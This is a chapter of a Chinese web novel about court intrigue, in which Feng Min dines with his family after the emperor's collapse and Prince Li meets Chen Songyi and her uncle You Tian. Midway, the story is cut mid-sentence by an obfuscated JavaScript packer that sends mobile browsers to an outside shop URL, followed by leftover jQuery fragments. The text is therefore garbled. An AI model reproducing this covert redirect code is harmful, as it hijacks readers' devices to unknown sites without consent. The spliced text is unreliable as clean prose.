夜幕降临,忠勇侯府门口的两盏灯已经亮起。
听到马蹄声,见到公子爷骑着踏雪回来,门房连忙开了门:“公子爷回来啦!”
“嗯。”风珉出门一整天,身上带着寒气。
他一下马,就拍了拍踏雪的脖子,然后把马交给了小厮。
他一边往府里走,一边问来迎接的管家:“我爹回来了吗?今天我不在,有人来找我没有?”
管家道:“还没呢,今天也没有公子爷的客人。老夫人跟夫人都在等公子爷用晚膳,公子爷……”
风珉脚下一顿,看了看自己身上的衣服。
今天又去了城外,又在东市打转,而且吃烤羊肉,身上说不定还有味道没散。
他于是说道:“跟我祖母和我娘说,我先换身衣服再过去。”
他回了自己的院子,用铜盆里的冷水洗了脸又洗了手,这才换了身衣服去见祖母跟母亲。
忠勇侯夫人一听到外面的声音,就立刻对婆母说道:“回来了,风珉回来了。”
“祖母,娘。”换了身衣服的人从门外跨进来。
丫鬟立刻把挡风的帘子放下。
忠勇侯夫人看着儿子,嗔怪地道:“才刚一回来就不见了人,快坐下吃饭。”
“呵呵呵乖孙,快坐下吧。”
老侯夫人已经有些不认人了,有时候连自己的儿子都不记得,却记得孙儿。
风珉坐在她身边,拿起碗给祖母布菜,没有假手于人。
他头也不抬地问道:“爹呢,这么晚还没回来,不等他吗?”
这里除了他们祖孙三人,剩下的都是忠勇侯夫人的贴身丫鬟,没有什么不能说的。
忠勇侯夫人犹豫了一下,轻声道:“你爹他还在宫里,陛下今日在宴席上突然倒下了,可能有些不好……”
风珉握着筷子的手紧了一下:“是今天上午的事?”
得到肯定的答案之后,他的手才松了下来,“没事,陛下正值壮年,而且就算……厉王殿下也回来了。”
如果陛下真的出了什么问题,像游天这样的神医,应该早被请进宫了。
还有松意,她也会先做其他的安排,而不是这样先顾及江南,再顾及城外流民。
“说的也对。”
他的话说服了忠勇侯夫人,令她放松下来,问起了儿子今日都去做了什么。
风珉把自己去了一趟京兆府捞人的事说了,略过了中间在酒楼的谈话,直接跳到城外流民:
“……这个冬天虽然没有怎么下雪,不过他们也不好过。我打算给徐二他们找点事做,消磨一些精力,少惹是生非。娘觉得我牵头开粥棚,让他们一起给流民施点肉粥跟煤炭怎么样?
“是好事,而且能忙上好几天呢。
忠勇侯夫人最喜欢的就是儿子这一点。
虽然整个京城的闺秀都因为他的纨绔名声不愿跟他相看,怕他性情跟人品都不好,但做母亲的知道他很好,会这般名声在外,只是跟他爹对着干而已。
风珉心下一动,问她:“娘你去不去?
虽然在外面冷,但如果待在府里,哪很梁柱不结实,砸下来伤了她们就不好了,还是在空地上更安全。
忠勇侯夫人是有些意动的。
城外流民那么多,光凭儿子他们的私房钱,肯定发不出多少粮去。
她于是点头道:“等你两个姐姐回来,我也跟她们说说。
等到他们吃得差不多了,外面才响起丫鬟的声音:“侯爷回来了。
帘子掀开,忠勇侯带着一身寒意进来,神色也跟平时不大一样。
侯夫人立刻起了身,要去给他解斗篷,忠勇侯却说道:“不用了夫人,我要去南军。
他回来是来看看母亲,然后跟自己的妻子说一声。
见到儿子在这里陪伴他祖母,忠勇侯神色稍缓。
当听夫人说儿子打算过几日去城外搭粥棚,给流民施粥的时候,忠勇侯看向了自己的儿子。
风珉迎上父亲的目光,忽然有种感觉——
他肯定知道了自己真正的目的。
上一次他有这种感觉,仿佛跟自己向来意见相左的父亲站在同一条战线上,要并肩作战,还是在江南案被揭发的时候。
果然,父亲难得对他点了点头,沉声道:“好好做。
……
带着厉王府标志的马车从宫门口驶出。
看到这辆马车,负责守卫宫门的禁军都向它投去了炽热的目光。
与此同时,他们心中也浮
现出一个念头:“厉王殿下都从皇宫里出来了,陛下应该没事了吧?”
景帝在宴席上的突然倒下,因为太过突然,又有别国使臣在,所以这个消息并没有瞒住。
这一整天,禁军过得提心吊胆。
幸好,现在看到厉王殿下的马车,他们才算松了一口气。
马车上,车顶悬挂的灯在厉王的脸上投下光芒,令那张俊美的面孔更多了几分凌厉夺目。
秦骁留在了厉王府,给他赶车的是另一个亲卫,马车行驶得同样平稳。
尽管一开始就预料到陆云放开了限制,那些人会立刻动手,可皇陵的变动对皇兄的影响还是超出了预计。
幸好,给皇兄的那张灵符很可靠。
在济州城外遇到的、疑似少女师父的神秘高人的布置也可靠。
皇兄把三位宰辅跟忠勇侯与卫国公一起召进去,是为了掩人耳目。
真正的目的是要给执掌南北两军的一公一侯下令。
南军主要负责是宫门及陵寝的安全。
同时,还会在帝王出行的时候与北军一起,组成仪仗,守护御驾。
马元清作为曾经的北军统领,在被软禁之后,还能对京中的官员下手,威逼恐吓,制造灭门惨案,这说明北军里还有他的势力残留。
太医院诊断景帝现在已经没事了。
等再过两日,皇陵修缮完成,他会如期离宫,跟百官一起去闭陵,到时肯定要由禁军守卫。
怎样安排才能确保在动手擒下那几个尚书以后,北军里马元清留下的后手不会受人掌控,威胁到帝王,这是这两日忠勇侯要头疼的事。
但是……厉王想道,皇兄今日这样召集自己等人,似乎给外面释放出了一个错误信号,让他们觉得他是打算立储了。
萧应离想起那几个侄子看自己的紧张目光。
在他们眼中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254569|151575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,自己好像也被划成了劲敌这一类的存在。
尤其是从西郊归来,身上还带着煤灰的三皇子,在他父皇的寝宫外,遇见最后离开的这个皇叔时,他给萧应离的这种感觉就越发的明显。
厉王无奈地摇了摇头。
他低声道:“皇兄说我这几个侄儿不行,竟不是谦辞……”
他真心希望自己的兄长能够好好
坐在这个位置上,全力支持他打完草原王庭,彻底平定北边。
他们这一代将功毕于一役,下一代就做守成之君便足够了。
而他对皇位没有半点兴趣。
比起成为统治大齐的君王,他更希望实现开拓的梦想,以后就死在远征的路上……
“殿下,到了。”
在他半闭着眼睛,随着马车行进时的轻轻摇晃想着这些的时候,厉王府到了。
萧应离睁开眼睛,从车上下来,就见到秦骁在外面等着自己。
一见他,萧应离便眼睛一亮,笑着问他:“军师来了?”
“来了!”秦骁兴奋地点头,“而且还带来一位贵客!”
听到“贵客”二字,萧应离心中立刻生出了各种猜测,他问道:“人在哪里?”
秦骁一指正厅,萧应离加快脚步,朝着那个方向走去。
一边走,就一边听话唠的亲卫队长把来人的身份说了个清楚。
她的师叔来京城了。
他是治好了军师的绝世神医、绝顶高手,而且还精通火药术。
秦骁总结道:“……就是军师心心念念想要招揽回边关的那个师叔啊,殿下!”
在这样拉到了顶点的期待下,厉王走进了温暖如春的正厅,看到了陈松意跟她身边穿着道袍的少年人。
“殿下。”陈松意起了身,向着萧应离介绍道,“这是我的小师叔游天。”
游天也起了身,向这位初次见面的厉王殿下拱手,行了一礼:“见过厉王殿下。”
随后,他就审视起了这个让师侄、风珉甚至裴植那样的狐狸都死心塌地的年轻王者。
而陈松意也不说其他,一见厉王就直接进入了正题,再次提及了地动跟江南案。
萧应离也将目光从这位过于年轻的高人身上收回来,走向了她:“我正想等你来了再商议,去江南的人选你已经有了安排?”
“我已经安排了可靠的人,明日就出发。”陈松意道,“世间没有人比他更稳妥了,付大人一见他就会明白。”甚至都不用锦囊信物,只要裴云升报出他的名字,付大人就会见他。
随后,她提到了刘氏,“草原人的国师安排了人对护国神木下手——是我的养母,我不是最适合去对付她的人。有我在,神木暂时不会有太大的问题,等皇陵之乱平定的时候,请殿下派人去将她一并拿下。”
这算是景帝的做法给她的启发,危害国祚,不必她去,刘氏也没有被轻饶的余地。
而刘氏本身的威胁甚至不及程明珠,由寻常的将士去也可以把人拿下。
“好,此事你不必为难。”萧应离望着她,目光变得柔和了,“辛苦了,军师。”
“我……”陈松意滞了片刻,最终在他的目光下摇了摇头,低声道,“不辛苦。”